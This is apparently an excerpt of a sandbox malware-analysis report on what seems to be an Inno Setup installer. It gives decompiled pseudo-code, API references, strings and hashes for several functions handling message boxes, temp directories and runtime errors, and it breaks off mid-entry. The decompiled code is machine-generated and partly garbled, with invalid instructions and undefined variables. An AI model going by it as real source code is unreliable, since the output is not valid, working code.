Opcode Fuzzy Hash: 436805583868c80a46dbf4807e71db515abf5c22c5a642f8ed8b105a496882fe
Instruction Fuzzy Hash: 0E41BB71A00205DBDB11EBA9EE85B9A7BA4EF88304F10467BF100F72E2D7789944DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409B15 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409B15(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr _t49;
				CHAR* _t50;
				intOrPtr _t56;
				CHAR* _t57;
				void* _t63;
				intOrPtr _t64;
				intOrPtr _t70;
				intOrPtr _t78;
				intOrPtr _t83;
				char* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				char* _t91;

				_t89 = __esi;
				_t88 = __edi;
				_t63 = __ebx;
				_pop(_t76);
				 *[fs:eax] = _t76;
				E004094C0();
				if( *0x40b07c == 0) {
					_t56 =  *0x40ca6c; // 0x0
					_t57 = E00403414(_t56);
					_t76 = "Win32s";
					E00408AF4(0x6c, _t90 - 0x10, "Win32s");
					MessageBoxA(0, E00403414( *((intOrPtr*)(_t90 - 0x10))), _t57, 0x10);
					E004057B4();
				}
				if(( *0x40cdc0 & 0x00000001) == 0 &&  *0x40b234 == 0) {
					_t49 =  *0x40cbac; // 0x0
					_t50 = E00403414(_t49);
					_t76 =  *0x40cca8; // 0x21c1498
					E00408AF4(0x98, _t90 - 0x10, _t76);
					if(MessageBoxA(0, E00403414( *((intOrPtr*)(_t90 - 0x10))), _t50, 0x24) != 6) {
						 *0x40b23c = 2;
						E004057B4();
					}
				}
				E004026C4();
				E00409048(_t90 - 0x10, _t63, _t76, _t88, _t89); // executed
				E004031E8(0x40cde4, _t63,  *((intOrPtr*)(_t90 - 0x10)), _t88, _t89);
				_t78 =  *0x40cde4; // 0x21b2ec4
				E00408F3C(0, _t63, 0x409ff4, _t78, _t88, _t89, _t90 - 0x10); // executed
				E004031E8(0x40cde8, _t63,  *((intOrPtr*)(_t90 - 0x10)), _t88, _t89);
				_t27 =  *0x40cde0; // 0x413010
				_t11 = _t27 + 0x14; // 0x23cfba
				_t28 =  *0x40cdd8; // 0x0
				E004072D8(_t28,  *_t11);
				_push(_t90);
				_push(0x409dbc);
				_push( *[fs:edx]);
				 *[fs:edx] = _t91;
				 *0x40ce2c = 0;
				_t32 = E004072F0(1, 0, 1, 0); // executed
				 *0x40cddc = _t32;
				 *[fs:eax] = _t91;
				_t34 =  *0x40cde0; // 0x413010
				_t12 = _t34 + 0x18; // 0xa4600
				 *0x40ce2c = E00402594( *_t12,  *[fs:eax], 0x409dab, _t90);
				_t64 =  *0x40ce2c; // 0x21d4000
				_t83 =  *0x40cde0; // 0x413010
				_t13 = _t83 + 0x18; // 0xa4600
				E0040277C(_t64,  *_t13);
				_push(_t90);
				_push(0x409cfa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91;
				_t70 =  *0x40cdd8; // 0x0
				_t41 = E004077C4(_t70, 1, 0x407af4); // executed
				 *0x40ce30 = _t41;
				_push(_t90);
				_push(0x409ce9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91;
				_t43 =  *0x40cde0; // 0x413010
				_t14 = _t43 + 0x18; // 0xa4600
				_t44 =  *0x40ce30; // 0x2278604
				E00407A54(_t44,  *_t14, _t64);
				_pop(_t87);
				 *[fs:eax] = _t87;
				_push(E00409CF0);
				_t47 =  *0x40ce30; // 0x2278604
				return E00402924(_t47);
			}

0x00409b15
0x00409b15
0x00409b15
0x00409b17
0x00409b1a
0x00409b3a
0x00409b46
0x00409b4a
0x00409b4f
0x00409b58
0x00409b5f
0x00409b6f
0x00409b74
0x00409b74
0x00409b80
0x00409b8d
0x00409b92
0x00409b9b
0x00409ba3
0x00409bbb
0x00409bbd
0x00409bc7
0x00409bc7
0x00409bbb
0x00409bcc
0x00409bd4
0x00409be1
0x00409bef
0x00409bf7
0x00409c04
0x00409c09
0x00409c0e
0x00409c11
0x00409c16
0x00409c1d
0x00409c1e
0x00409c23
0x00409c26
0x00409c2b
0x00409c43
0x00409c48
0x00409c58
0x00409c5b
0x00409c60
0x00409c68
0x00409c6d
0x00409c77
0x00409c7d
0x00409c80
0x00409c87
0x00409c88
0x00409c8d
0x00409c90
0x00409c98
0x00409ca5
0x00409caa
0x00409cb1
0x00409cb2
0x00409cb7
0x00409cba
0x00409cbf
0x00409cc4
0x00409cc7
0x00409ccc
0x00409cd3
0x00409cd6
0x00409cd9
0x00409cde
0x00409ce8

APIs

MessageBoxA.USER32 ref: 00409B6F
MessageBoxA.USER32 ref: 00409BB3

Strings

Win32s, xrefs: 00409B58
.tmp, xrefs: 00409BEA

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: .tmp$Win32s
API String ID: 2030045667-641751118
Opcode ID: 0650350d84dcea6d9e552b86e78e3b0d8c3ed8bc8870ba77c14be3c76cac0398
Instruction ID: e4a7c91c2f675888e1446e57887e6e31653f9486227d9385985d84613c65bf03
Opcode Fuzzy Hash: 0650350d84dcea6d9e552b86e78e3b0d8c3ed8bc8870ba77c14be3c76cac0398
Instruction Fuzzy Hash: 17417B70614241DFD701EF6ADD92A6A7BA5FB49708F10453BF800B73E2CA79AC00DA6D

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 119
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00409B30(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr _t49;
				CHAR* _t50;
				intOrPtr _t56;
				CHAR* _t57;
				void* _t63;
				intOrPtr _t64;
				intOrPtr _t68;
				intOrPtr _t76;
				intOrPtr _t81;
				intOrPtr _t85;
				void* _t86;
				void* _t87;
				void* _t88;
				intOrPtr _t89;

				_t87 = __esi;
				_t86 = __edi;
				_t63 = __ebx;
				E0040977C();
				E00402F24();
				E004094C0();
				if( *0x40b07c == 0) {
					_t56 =  *0x40ca6c; // 0x0
					_t57 = E00403414(_t56);
					_t74 = "Win32s";
					E00408AF4(0x6c, _t88 - 0x10, "Win32s");
					MessageBoxA(0, E00403414( *((intOrPtr*)(_t88 - 0x10))), _t57, 0x10);
					E004057B4();
				}
				if(( *0x40cdc0 & 0x00000001) == 0 &&  *0x40b234 == 0) {
					_t49 =  *0x40cbac; // 0x0
					_t50 = E00403414(_t49);
					_t74 =  *0x40cca8; // 0x21c1498
					E00408AF4(0x98, _t88 - 0x10, _t74);
					if(MessageBoxA(0, E00403414( *((intOrPtr*)(_t88 - 0x10))), _t50, 0x24) != 6) {
						 *0x40b23c = 2;
						E004057B4();
					}
				}
				E004026C4();
				E00409048(_t88 - 0x10, _t63, _t74, _t86, _t87); // executed
				E004031E8(0x40cde4, _t63,  *((intOrPtr*)(_t88 - 0x10)), _t86, _t87);
				_t76 =  *0x40cde4; // 0x21b2ec4
				E00408F3C(0, _t63, 0x409ff4, _t76, _t86, _t87, _t88 - 0x10); // executed
				E004031E8(0x40cde8, _t63,  *((intOrPtr*)(_t88 - 0x10)), _t86, _t87);
				_t27 =  *0x40cde0; // 0x413010
				_t11 = _t27 + 0x14; // 0x23cfba
				_t28 =  *0x40cdd8; // 0x0
				E004072D8(_t28,  *_t11);
				_push(_t88);
				_push(0x409dbc);
				_push( *[fs:edx]);
				 *[fs:edx] = _t89;
				 *0x40ce2c = 0;
				_t32 = E004072F0(1, 0, 1, 0); // executed
				 *0x40cddc = _t32;
				 *[fs:eax] = _t89;
				_t34 =  *0x40cde0; // 0x413010
				_t12 = _t34 + 0x18; // 0xa4600
				 *0x40ce2c = E00402594( *_t12,  *[fs:eax], 0x409dab, _t88);
				_t64 =  *0x40ce2c; // 0x21d4000
				_t81 =  *0x40cde0; // 0x413010
				_t13 = _t81 + 0x18; // 0xa4600
				E0040277C(_t64,  *_t13);
				_push(_t88);
				_push(0x409cfa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t89;
				_t68 =  *0x40cdd8; // 0x0
				_t41 = E004077C4(_t68, 1, 0x407af4); // executed
				 *0x40ce30 = _t41;
				_push(_t88);
				_push(0x409ce9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t89;
				_t43 =  *0x40cde0; // 0x413010
				_t14 = _t43 + 0x18; // 0xa4600
				_t44 =  *0x40ce30; // 0x2278604
				E00407A54(_t44,  *_t14, _t64);
				_pop(_t85);
				 *[fs:eax] = _t85;
				_push(E00409CF0);
				_t47 =  *0x40ce30; // 0x2278604
				return E00402924(_t47);
			}

0x00409b30
0x00409b30
0x00409b30
0x00409b30
0x00409b35
0x00409b3a
0x00409b46
0x00409b4a
0x00409b4f
0x00409b58
0x00409b5f
0x00409b6f
0x00409b74
0x00409b74
0x00409b80
0x00409b8d
0x00409b92
0x00409b9b
0x00409ba3
0x00409bbb
0x00409bbd
0x00409bc7
0x00409bc7
0x00409bbb
0x00409bcc
0x00409bd4
0x00409be1
0x00409bef
0x00409bf7
0x00409c04
0x00409c09
0x00409c0e
0x00409c11
0x00409c16
0x00409c1d
0x00409c1e
0x00409c23
0x00409c26
0x00409c2b
0x00409c43
0x00409c48
0x00409c58
0x00409c5b
0x00409c60
0x00409c68
0x00409c6d
0x00409c77
0x00409c7d
0x00409c80
0x00409c87
0x00409c88
0x00409c8d
0x00409c90
0x00409c98
0x00409ca5
0x00409caa
0x00409cb1
0x00409cb2
0x00409cb7
0x00409cba
0x00409cbf
0x00409cc4
0x00409cc7
0x00409ccc
0x00409cd3
0x00409cd6
0x00409cd9
0x00409cde
0x00409ce8

APIs

MessageBoxA.USER32 ref: 00409B6F
MessageBoxA.USER32 ref: 00409BB3

Strings

Win32s, xrefs: 00409B58
.tmp, xrefs: 00409BEA

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: .tmp$Win32s
API String ID: 2030045667-641751118
Opcode ID: 5c85183f2e52b7f23c3bde491e99ca859335533792a2fa7a5562025a6a4f4d5d
Instruction ID: 53a170e13010cfdcd37ed059bf19451eb2c32b7c9f8c3aa4677cdf2145782a4a
Opcode Fuzzy Hash: 5c85183f2e52b7f23c3bde491e99ca859335533792a2fa7a5562025a6a4f4d5d
Instruction Fuzzy Hash: 33413B74610241DFD711EF6ADD92A5A7BA5FB49708B10453BF800B73E3CA79AC00DAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403D02 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403D02(int __eax) {
				intOrPtr* _t7;
				intOrPtr* _t8;
				signed int _t15;
				signed int _t19;
				intOrPtr _t20;
				unsigned int _t21;
				char* _t29;
				char* _t30;
				void* _t46;

				 *0x40c020 = __eax;
				if( *0x40c030 == 0) {
					goto L5;
				} else {
					_t46 =  *0x40c414 - 1;
					if(_t46 < 0) {
						L17:
						ExitProcess( *0x40c020); // executed
					} else {
						if(_t46 == 0 || __eax != 0) {
							while(1) {
								L5:
								_t7 =  *0x40c024; // 0x0
								_t8 = _t7;
								if(_t8 == 0) {
									break;
								}
								 *0x40c024 = 0;
								 *_t8();
							}
							if( *0x40c028 != 0) {
								_t19 =  *0x40c020; // 0x0
								_t29 = "  at 00000000";
								do {
									_t2 = _t19 % 0xa;
									_t19 = _t19 / 0xa;
									 *_t29 = _t2 + 0x30;
									_t29 = _t29 - 1;
								} while (_t19 != 0);
								_t30 = 0x40b030;
								_t20 =  *0x40c028; // 0x0
								_t21 = _t20 - 0x401178;
								do {
									 *_t30 =  *((intOrPtr*)((_t21 & 0x0000000f) + 0x403e1c));
									_t30 = _t30 - 1;
									_t21 = _t21 >> 4;
								} while (_t21 != 0);
								if( *0x40c031 != 0) {
									E00403FE4(0x40c204, "Runtime error     at 00000000");
									E00403F67();
								} else {
									MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
								}
							}
							E00403CC8(0x40c038);
							E00403CC8(0x40c204); // executed
							E004019DC(); // executed
							if( *0x40c414 == 0) {
								E004030B4();
								goto L17;
							}
						}
					}
				}
				E004030B4();
				 *0x40c414 = 0;
				_t15 =  *0x40c020; // 0x0
				asm("sbb eax, eax");
				return  ~_t15 + 1;
			}

0x00403d04
0x00403d10
0x00000000
0x00403d12
0x00403d12
0x00403d19
0x00403ddf
0x00403de5
0x00403d1f
0x00403d1f
0x00403d29
0x00403d29
0x00403d29
0x00403d2e
0x00403d30
0x00000000
0x00000000
0x00403d34
0x00403d3a
0x00403d3a
0x00403d45
0x00403d47
0x00403d4c
0x00403d56
0x00403d58
0x00403d58
0x00403d5d
0x00403d5f
0x00403d60
0x00403d64
0x00403d69
0x00403d6e
0x00403d73
0x00403d7e
0x00403d80
0x00403d81
0x00403d81
0x00403d8d
0x00403dae
0x00403db3
0x00403d8f
0x00403d9d
0x00403d9d
0x00403d8d
0x00403dbd
0x00403dc7
0x00403dcc
0x00403dd8
0x00403dda
0x00000000
0x00403dda
0x00403dd8
0x00403d1f
0x00403d19
0x00403dea
0x00403def
0x00403df6
0x00403dfd
0x00403e19

APIs

MessageBoxA.USER32 ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

Runtime error at 00000000, xrefs: 00403D96, 00403DA9
Error, xrefs: 00403D91

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Uniqueness

Uniqueness Score: -1.00%

Function 00409DC4 Relevance: 6.1, APIs: 4, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00409DC4(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t23;
				struct HWND__* _t24;
				struct HWND__* _t25;
				struct HWND__* _t28;
				intOrPtr _t35;
				intOrPtr _t37;
				void* _t41;
				void* _t46;
				intOrPtr _t48;
				intOrPtr _t51;
				int _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t66;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t84;
				intOrPtr _t86;
				void* _t89;

				_t88 = __esi;
				_t87 = __edi;
				_t67 = __ebx;
				_t23 = __eax + __edx;
				_t90 = _t23;
				if(_t23 < 0) {
					_t76 = __ecx + __ecx;
					asm("popfd");
					 *((intOrPtr*)(__ebx - 0x17aff3c0)) =  *((intOrPtr*)(__ebx - 0x17aff3c0)) + __ecx + __ecx;
					_push(es);
					asm("cmpsd");
					asm("invalid");
					E0040927C(0x61, __ebx, _t76, __edi, __esi, _t90);
					E00402F24();
					E00406DAC(0x40cdd8);
					_push(0);
					_t66 =  *0x40c014; // 0x400000
					_push(_t66);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push("Inno");
					_push(0x40a010);
				}
				asm("adc [eax+0x6a0040], ah"); // executed
				_t24 = CreateWindowExA(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				 *0x40b240 = _t24;
				_t25 =  *0x40b240; // 0x2042c
				 *0x40cdd0 = SetWindowLongA(_t25, 0xfffffffc, E004095D0);
				_t28 =  *0x40b240; // 0x2042c
				 *(_t89 - 0x18) = _t28;
				 *((char*)(_t89 - 0x14)) = 0;
				E004050E4(0x40a020, 0, _t89 - 0x18, _t89 - 0x10);
				_t79 =  *0x40cdd4; // 0x21b03cc
				E004032FC(_t89 - 0x10, _t79);
				_push(_t89 - 0x10);
				_t35 =  *0x40cde0; // 0x413010
				_t10 = _t35 + 0x20; // 0x237db8
				 *((intOrPtr*)(_t89 - 0x34)) =  *_t10;
				 *((char*)(_t89 - 0x30)) = 0;
				_t37 =  *0x40cde0; // 0x413010
				_t13 = _t37 + 0x24; // 0xce00
				 *((intOrPtr*)(_t89 - 0x2c)) =  *_t13;
				 *((char*)(_t89 - 0x28)) = 0;
				E004050E4(0x40a034, 1, _t89 - 0x34, _t89 - 0x24);
				_pop(_t41);
				E004032FC(_t41,  *((intOrPtr*)(_t89 - 0x24)));
				_push(_t89 - 0x10);
				E004068D0(_t89 - 0x24);
				_pop(_t46);
				E004032FC(_t46,  *((intOrPtr*)(_t89 - 0x24)));
				_t48 =  *0x40cde8; // 0x21b2f88, executed
				E00409664(_t48, _t67, 0x40b23c,  *((intOrPtr*)(_t89 - 0x10)), _t87, _t88, _t90); // executed
				_pop(_t84);
				 *[fs:eax] = _t84;
				_push(0x409f64);
				_t51 =  *0x40cdd8; // 0x0
				_t52 = E00402924(_t51);
				if( *0x40cde8 != 0) {
					_t86 =  *0x40cde8; // 0x21b2f88
					_t52 = E00409218(0, _t86, 0xfa, 0x32); // executed
				}
				if( *0x40cde4 != 0) {
					_t58 =  *0x40cde4; // 0x21b2ec4
					_t52 = RemoveDirectoryA(E00403414(_t58)); // executed
				}
				if( *0x40b240 != 0) {
					_t52 =  *0x40b240; // 0x2042c
					_push(_t52); // executed
					L00404534(); // executed
				}
				if( *0x40cdc8 != 0) {
					_t53 =  *0x40cdc8; // 0x0
					_t74 =  *0x40cdcc; // 0x1
					E0040357C(_t53, _t67, _t74, 0x408954, _t87, _t88);
					_t55 =  *0x40cdc8; // 0x0
					E004025AC(_t55);
					 *0x40cdc8 = 0;
					return 0;
				}
				return _t52;
			}

0x00409dc4
0x00409dc4
0x00409dc4
0x00409dc4
0x00409dc4
0x00409dc6
0x00409dc8
0x00409dca
0x00409dcc
0x00409dd2
0x00409dd3
0x00409dd4
0x00409dd8
0x00409ddd
0x00409de7
0x00409dec
0x00409dee
0x00409df3
0x00409df4
0x00409df6
0x00409df8
0x00409dfa
0x00409dfc
0x00409dfe
0x00409e00
0x00409e02
0x00409e07
0x00409e07
0x00409e08
0x00409e0e
0x00409e13
0x00409e1f
0x00409e2a
0x00409e33
0x00409e38
0x00409e3b
0x00409e49
0x00409e51
0x00409e57
0x00409e5f
0x00409e64
0x00409e69
0x00409e6c
0x00409e6f
0x00409e73
0x00409e78
0x00409e7b
0x00409e7e
0x00409e8f
0x00409e97
0x00409e98
0x00409ea0
0x00409ea4
0x00409eac
0x00409ead
0x00409eba
0x00409ebf
0x00409ec6
0x00409ec9
0x00409ecc
0x00409ed1
0x00409ed6
0x00409ee2
0x00409ef0
0x00409ef8
0x00409ef8
0x00409f04
0x00409f06
0x00409f11
0x00409f11
0x00409f1d
0x00409f1f
0x00409f24
0x00409f25
0x00409f25
0x00409f31
0x00409f33
0x00409f38
0x00409f43
0x00409f48
0x00409f4d
0x00409f54
0x00000000
0x00409f54
0x00409f59

APIs

CreateWindowExA.USER32 ref: 00409E0E
SetWindowLongA.USER32(0002042C,000000FC,004095D0), ref: 00409E25
RemoveDirectoryA.KERNEL32(00000000,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F11
73B09840.USER32(0002042C,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F25

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$B09840CreateDirectoryLongRemove
String ID:
API String ID: 469940311-0
Opcode ID: be88a706e7f8ddec41fb9b67e958548a21fd378de1080aa250a0a6b2343fa3ce
Instruction ID: 2d3a2dd4f708cc909457fd39b59b8c9db31cd247ded7b54bdca8c0819a44ed83
Opcode Fuzzy Hash: be88a706e7f8ddec41fb9b67e958548a21fd378de1080aa250a0a6b2343fa3ce
Instruction Fuzzy Hash: B541D971900205DBCB01EBA9EE85B9E7BA5EB88304F10467BE100F72E2D7789945CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00401918() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E004019CE);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x40c41c);
				L0040126C();
				if( *0x40c032 != 0) {
					_push(0x40c41c);
					L00401274();
				}
				E004012DC(0x40c43c);
				E004012DC(0x40c44c);
				E004012DC(0x40c478);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0x40c474 = _t11;
				if( *0x40c474 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x40c474; // 0x0
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x40c460)) = 0x40c45c;
					 *0x40c45c = 0x40c45c;
					 *0x40c468 = 0x40c45c;
					 *0x40c415 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E004019D5);
				if( *0x40c032 != 0) {
					_push(0x40c41c);
					L0040127C();
					return 0;
				}
				return 0;
			}

0x0040191d
0x0040191e
0x00401923
0x00401926
0x00401929
0x0040192e
0x0040193a
0x0040193c
0x00401941
0x00401941
0x0040194b
0x00401955
0x0040195f
0x0040196b
0x00401970
0x0040197c
0x0040197e
0x00401983
0x00401983
0x0040198b
0x0040198f
0x00401990
0x0040199c
0x0040199f
0x004019a1
0x004019a6
0x004019a6
0x004019af
0x004019b2
0x004019b5
0x004019c1
0x004019c3
0x004019c8
0x00000000
0x004019c8
0x004019cd

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409048 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00409048(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				int _t30;
				intOrPtr _t62;
				void* _t72;
				intOrPtr _t75;

				_t70 = __edi;
				_t53 = __ebx;
				_t54 = 0;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__edi);
				_t72 = __eax;
				_push(_t75);
				_push(0x409137);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				while(1) {
					E00406B28( &_v12, _t53, _t54, _t70, _t72); // executed
					_t54 = 0x409150;
					E00408F3C(0, _t53, 0x409150, _v12, _t70, _t72,  &_v8); // executed
					_t30 = CreateDirectoryA(E00403414(_v8), 0); // executed
					if(_t30 != 0) {
						break;
					}
					_t53 = GetLastError();
					if(_t38 != 0xb7) {
						E00408AF4(0x2f,  &_v28, _v8);
						_v24 = _v28;
						E00404BE4(_t53,  &_v32);
						_v20 = _v32;
						E004070A0(_t53,  &_v36);
						_v16 = _v36;
						E00408AC4(0x60, 2,  &_v24,  &_v12);
						_t54 = _v12;
						E004057E0(_v12, 1);
						E00402EB4();
					}
				}
				E0040322C(_t72, _v8);
				_pop(_t62);
				 *[fs:eax] = _t62;
				_push(E0040913E);
				E004031B8( &_v36, 3);
				return E004031B8( &_v12, 2);
			}

0x00409048
0x00409048
0x0040904b
0x0040904d
0x0040904e
0x0040904f
0x00409050
0x00409051
0x00409052
0x00409053
0x00409054
0x00409055
0x00409057
0x00409058
0x0040905c
0x0040905d
0x00409062
0x00409065
0x00409068
0x0040906f
0x00409077
0x0040907e
0x0040908e
0x00409095
0x00000000
0x00000000
0x0040909c
0x004090a4
0x004090b2
0x004090ba
0x004090c2
0x004090ca
0x004090d2
0x004090da
0x004090e7
0x004090ec
0x004090f6
0x004090fb
0x004090fb
0x004090a4
0x0040910a
0x00409111
0x00409114
0x00409117
0x00409124
0x00409136

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00409137,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040908E
GetLastError.KERNEL32(00000000,00000000,?,00000000,00409137,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409097

Strings

.tmp, xrefs: 00409077

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: e1937734a1853430c9afa1f0e39ce394bf5c98f1fb10b03800257182eaacca41
Instruction ID: e6f02e5a3ef63fb2035549e22e3eab84e80dcd005fd0224d32e6fa49878b353e
Opcode Fuzzy Hash: e1937734a1853430c9afa1f0e39ce394bf5c98f1fb10b03800257182eaacca41
Instruction Fuzzy Hash: 10213774A002099BDB01EFA1C9569DFB7B9EB88304F10457BE501B73C2DA7C9E058A69

Uniqueness

Uniqueness Score: -1.00%

Function 00409218 Relevance: 5.0, APIs: 4, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

